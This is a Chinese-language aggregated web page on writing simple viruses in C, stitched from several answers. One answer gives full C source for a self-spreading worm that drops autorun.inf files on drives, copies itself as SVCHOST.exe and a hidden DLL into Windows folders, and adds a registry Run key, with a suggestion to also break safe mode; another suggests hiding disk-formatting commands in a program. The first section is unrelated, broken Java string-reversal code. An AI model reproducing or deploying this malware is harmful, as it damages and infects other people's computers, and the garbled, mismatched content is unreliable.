簡單的c語言病毒編程代碼,簡單的c語言病毒編程代碼怎麼用

本文目錄一覽:

怎樣用C語言編寫病毒

1.最簡單的方法:

public static String reverse1(String str)

{

   return new StringBuffer(str).reverse().toString();

}

2.最常用的方法:

public static String reverse3(String s)

 { 

   char[] array = s.toCharArray(); 

  String reverse = “”;  //注意這是空串,不是null

   for (int i = array.length – 1; i = 0; i–) 

   reverse += array[i]; 

   return reverse; 

  } 

3.常用方法的變形:

 public static String reverse2(String s)

  int length = s.length(); 

   String reverse = “”;  //注意這是空串,不是null

   for (int i = 0; i  length; i++) 

    reverse = s.charAt(i) + reverse;//在字符串前面連接,  而非常見的後面

   return reverse; 

  } 

4.C語言中常用的方法:

 public static String reverse5(String orig)

  char[] s = orig.toCharArray(); 

  int n = s.length – 1; 

  int halfLength = n / 2; 

  for (int i = 0; i = halfLength; i++) { 

    char temp = s[i]; 

   s[i] = s[n – i]; 

   s[n – i] = temp; 

   } 

   return new String(s);  //知道  char數組和String相互轉化

  }

如何用C語言寫病毒?

在讀本程序前請保證不用此程序進行違法活動,否則,請馬上離開.最基本的病毒.

本病毒的功能:

1.在C、D、E盤和c:\windows\system、c:\windows中生成本病毒體文件

2.在C、D、E盤中生成自動運行文件

3.註冊c:\windows\system\svchost.exe,使其開機自動運行

4.在C:\windows\system下生成隱蔽DLL文件

5.病毒在執行後具有相聯複製能力本病毒類似普通U盤病毒雛形,具備自我複製、運行能力。以下程序在DEV-CPP 4.9.9.2(GCC編譯器)下編譯通過

請保存為SVCHOST.C編譯,運行,本病毒對計算機無危害,請放心研究

/* SVCHOST.C */

/* SVCHOST.EXE */#define SVCHOST_NUM 6

#includestdio.h

#includestring.h

char *autorun={“[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打開\nshell\\1\\Command=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\Command=SVCHOST.exe\nshellexecute=SVCHOST.exe”};

char *files_autorun[10]={“c:\\autorun.inf”,”d:\\autorun.inf”,”e:\\autorun.inf”};

char *files_svchost[SVCHOST_NUM+1]={“c:\\windows\\system\\MSMOUSE.DLL”,

“c:\\windows\\system\\SVCHOST.exe”,”c:\\windows\\SVCHOST.exe”,

“c:\\SVCHOST.exe”,”d:\\SVCHOST.exe”,”e:\\SVCHOST.exe”,”SVCHOST.exe”};

char *regadd=”reg add \”HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\” /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f”;int copy(char *infile,char *outfile)

{

FILE *input,*output;

char temp;

if(strcmp(infile,outfile)!=0 ((input=fopen(infile,”rb”))!=NULL) ((output=fopen(outfile,”wb”))!=NULL))

{

while(!feof(input))

{

fread(temp,1,1,input);

fwrite(temp,1,1,output);

}

fclose(input);

fclose(output);

return 0;

}

else return 1;

}

int main(void)

{

FILE *input,*output;

int i,k;

for(i=0;i3;i++)

{

output=fopen(files_autorun[i],”w”);

fprintf(output,”%s”,autorun);

fclose(output);

}

for(i=0;i=SVCHOST_NUM;i++)

{

if((input=fopen(files_svchost[i],”rb”))!=NULL)

{

fclose(input);

for(k=0;kSVCHOST_NUM;k++)

{

copy(files_svchost[i],files_svchost[k]);

}

i=SVCHOST_NUM+1;

}

}

system(regadd); /* 註冊SVCHOST.exe,讓其在啟動時運行 */

return 0;

} 如果你想來狠點;把安全模式的註冊表項也刪除了.讓它進不了安全模式;

警告:不會修改註冊表的人;別運行本程序…

怎麼用C語言寫個簡單病毒,給個代碼過程

一個簡單的病毒就要很長的代碼,寫病毒沒有那麼簡單。

不過你可以試試利用cmd命令,比如刪除拉,格式化拉,拷貝拉,寫進代碼里。別人一打開程序資料盤就格掉了,嘿嘿。

用c語言編寫一個計算機病毒的例子

1):首先要知道語言的層次結構,通常會有直接使用“+”“-”“*”“%”語言都是高級語言。這些語言寫的代碼經過編譯前端編譯後生成中間代碼,最後經過編譯後端處理成目標代碼,也就是在目標平台上可執行的二進制代碼。

2):要知道計算機能執行的只是二進制的代碼。無論是高級語言表達式,如(1+2),還是彙編語言,add

r1,r2,r3.

都要翻譯成目標平台的二進制代碼。

如果你學過微型計算機原理,應該知道一個彙編指令,最終要執行還得用處理器的微指令來表達。

3):最後這些微指令轉化成電信號,控制處理器內的眾多的與或非門,來實現你想要做的運算。

怎樣用C語言編寫病毒 / 藍訊

要編製一個病毒,首先要知道病毒的運行機理。

不論是何種病毒,它一般在結構上分為三個功能模塊:感染機制,觸發機制和有效載荷。

在病毒結構中,首要的而且唯一必需的部分是感染機制。病毒首先必須是能夠繁殖自身的代碼,這是病毒之所以成為病毒的根本

原因。我們可以用一段類C偽碼來表示這個過程。

InfectSection()

{

if (infectable_object_found

object_not_already_infect)

infect_object;

}

病毒的第二個主要構成部分是有效載荷觸發事件.一個病毒來到你的電腦後,不大可能立即發作,否則它不會被傳播得很遠.潛伏的敵人永遠要比能見到的敵人危險得多.病毒一般是在找到一定數量的感染體,某一日期或時間,某一段文本後觸發.

一個簡單的觸發機制可能是這樣工作的:

TriggerSection()

{

if (date_is_Friday_13th_and_time_is_03:13:13)

set_trigger_status_to_yes;

}

有效載荷就是病毒用來騷擾你的電腦的方法,有觸發機制的病毒一般也有有效載荷。它可以是任意的給你發一條一次性簡單的愚弄信息,重新格式化你的磁盤,把它自己郵給你的E_mail通信者都可以成為有效的負荷。簡單的有效負荷可以如下進行:

Executesection()

{

if (trigger_statue_is_yes)

execute_payload;

}

原創文章,作者:小藍,如若轉載,請註明出處:https://www.506064.com/zh-hant/n/245256.html

(0)
打賞 微信掃一掃 微信掃一掃 支付寶掃一掃 支付寶掃一掃
小藍的頭像小藍
上一篇 2024-12-12 13:06
下一篇 2024-12-12 13:07

相關推薦

  • Python周杰倫代碼用法介紹

    本文將從多個方面對Python周杰倫代碼進行詳細的闡述。 一、代碼介紹 from urllib.request import urlopen from bs4 import Bea…

    編程 2025-04-29
  • Python字符串寬度不限制怎麼打代碼

    本文將為大家詳細介紹Python字符串寬度不限制時如何打代碼的幾個方面。 一、保持代碼風格的統一 在Python字符串寬度不限制的情況下,我們可以寫出很長很長的一行代碼。但是,為了…

    編程 2025-04-29
  • Python基礎代碼用法介紹

    本文將從多個方面對Python基礎代碼進行解析和詳細闡述,力求讓讀者深刻理解Python基礎代碼。通過本文的學習,相信大家對Python的學習和應用會更加輕鬆和高效。 一、變量和數…

    編程 2025-04-29
  • Python簡單數學計算

    本文將從多個方面介紹Python的簡單數學計算,包括基礎運算符、函數、庫以及實際應用場景。 一、基礎運算符 Python提供了基礎的算術運算符,包括加(+)、減(-)、乘(*)、除…

    編程 2025-04-29
  • AES加密解密算法的C語言實現

    AES(Advanced Encryption Standard)是一種對稱加密算法,可用於對數據進行加密和解密。在本篇文章中,我們將介紹C語言中如何實現AES算法,並對實現過程進…

    編程 2025-04-29
  • 學習Python對學習C語言有幫助嗎?

    Python和C語言是兩種非常受歡迎的編程語言,在程序開發中都扮演着非常重要的角色。那麼,學習Python對學習C語言有幫助嗎?答案是肯定的。在本文中,我們將從多個角度探討Pyth…

    編程 2025-04-29
  • 倉庫管理系統代碼設計Python

    這篇文章將詳細探討如何設計一個基於Python的倉庫管理系統。 一、基本需求 在着手設計之前,我們首先需要確定倉庫管理系統的基本需求。 我們可以將需求分為以下幾個方面: 1、庫存管…

    編程 2025-04-29
  • Python滿天星代碼:讓編程變得更加簡單

    本文將從多個方面詳細闡述Python滿天星代碼,為大家介紹它的優點以及如何在編程中使用。無論是剛剛接觸編程還是資深程序員,都能從中獲得一定的收穫。 一、簡介 Python滿天星代碼…

    編程 2025-04-29
  • 寫代碼新手教程

    本文將從語言選擇、學習方法、編碼規範以及常見問題解答等多個方面,為編程新手提供實用、簡明的教程。 一、語言選擇 作為編程新手,選擇一門編程語言是很關鍵的一步。以下是幾個有代表性的編…

    編程 2025-04-29
  • Python實現簡易心形代碼

    在這個文章中,我們將會介紹如何用Python語言編寫一個非常簡單的代碼來生成一個心形圖案。我們將會從安裝Python開始介紹,逐步深入了解如何實現這一任務。 一、安裝Python …

    編程 2025-04-29

發表回復

登錄後才能評論